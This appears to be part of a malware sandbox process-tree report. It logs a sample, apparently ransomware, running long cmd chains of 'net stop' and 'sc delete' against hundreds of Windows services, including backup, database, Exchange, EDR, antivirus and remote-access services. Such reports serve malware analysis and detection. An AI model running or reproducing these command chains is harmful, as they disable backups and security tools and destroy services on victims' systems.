C:\Windows\SysWOW64\net.exenet stop AGSService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AGSService5⤵
-
C:\Windows\SysWOW64\net.exenet stop RapService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapService5⤵
-
C:\Windows\SysWOW64\net.exenet stop DDNSService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDNSService5⤵
-
C:\Windows\SysWOW64\net.exenet stop iNethinkSQLBackupSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASVirtualDiskService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService5⤵
-
C:\Windows\SysWOW64\net.exenet stop CASMsgSrv4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"3⤵
-
C:\Windows\SysWOW64\net.exenet stop HaoZipSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop HaoZipSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop "igfxCUIService2.0.0.0"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Realtek11nSU4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Realtek11nSU5⤵
-
C:\Windows\SysWOW64\net.exenet stop xenlite4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop xenlite5⤵
-
C:\Windows\SysWOW64\net.exenet stop XenSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop XenSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.24⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.25⤵
-
C:\Windows\SysWOW64\net.exenet stop "Synology Drive VSS Service x64"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"5⤵
-
C:\Windows\SysWOW64\net.exenet stop DellDRLogSvc4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdGuardianDeafaultInstance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance5⤵
-
C:\Windows\SysWOW64\net.exenet stop JWEM3DBAUTORun4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun5⤵
-
C:\Windows\SysWOW64\net.exenet stop JWRinfoClientService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService5⤵
-
C:\Windows\SysWOW64\net.exenet stop JWService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWService5⤵
-
C:\Windows\SysWOW64\net.exenet stop Service24⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Service25⤵
-
C:\Windows\SysWOW64\net.exenet stop RapidRecoveryAgent4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent5⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdServerDefaultInstance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance5⤵
-
C:\Windows\SysWOW64\net.exenet stop AdobeARMservice4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AdobeARMservice5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeanBackupSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService13004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13005⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService13004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13005⤵
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService13004⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"3⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService14⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService24⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService25⤵
-
C:\Windows\SysWOW64\net.exenet stop "memcached Server"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "memcached Server"5⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.45⤵
-
C:\Windows\SysWOW64\net.exenet stop UFIDAWebService4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSComplianceAudit4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeAntispamUpdate4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeCompliance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDagMgmt4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDelivery4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDiagnostics4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeEdgeSync4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFastSearch4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFrontEndTransport4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHM4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHM5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL20084⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20085⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHMRecovery4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeImap44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeImap45⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIMAP4BE4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxAssistants4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""3⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCATS4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete REPLICA4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCAVMCU4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RtcQms4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete RTCMEETINGMCU4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete RTCIMMCU4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete RTCDATAMCU4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCCDR4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectEventService164⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectQueueService164⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPAdminV44⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPSearchHostController4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPTimerV44⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPTraceV44⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exesc delete OSearch164⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectCalcService164⤵
-
C:\Windows\SysWOW64\sc.exesc delete c2wts4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exesc delete AppFabricCachingService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ADWS4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoard574⤵
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoardRCService574⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exesc delete vsvnjobsvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VisualSVNServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FlexNet Licensing Service 64"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete BestSyncSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete LPManager4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MediatekRegistryWriter4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete RaAutoInstSrv_RT28704⤵
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup104⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLANYs_sem54⤵
-
C:\Windows\SysWOW64\sc.exesc delete CASLicenceServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete semwebsrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TbossSystem4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ErpEnvSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.DispatchService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.UpdateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Config.WindowsService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.DataCenterService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.SchedulingService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Setup.InstallService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MysoftUpdate4⤵
-
C:\Windows\SysWOW64\sc.exesc delete edr_monitor4⤵
-
C:\Windows\SysWOW64\sc.exesc delete abs_deployer4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete savsvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxMonitorService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete CloudExchangeService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService2"4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv34⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses34⤵
-
C:\Windows\SysWOW64\sc.exesc delete FxService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice4⤵
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1004⤵
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI4⤵
-
C:\Windows\SysWOW64\sc.exesc delete btPanel4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent4⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server4⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker4⤵
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDaemon4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSUserSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDownSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSStorageSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDataProcSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSGatewaySvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMediaSvr4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete GPSLoginSvr4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSTomcat64⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMysqld4⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSFtpd4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Zabbix Agent"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentAccelerator4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""3⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵
-
C:\Windows\SysWOW64\sc.exesc delete JhTask4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MCService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211604⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect4⤵
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete eSightService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete apachezt4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins4⤵
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT4⤵
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc4⤵
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete wampapache4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH4⤵
-
C:\Windows\SysWOW64\sc.exesc delete msftesql4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl4⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""3⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER4⤵
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMTools4⤵
-
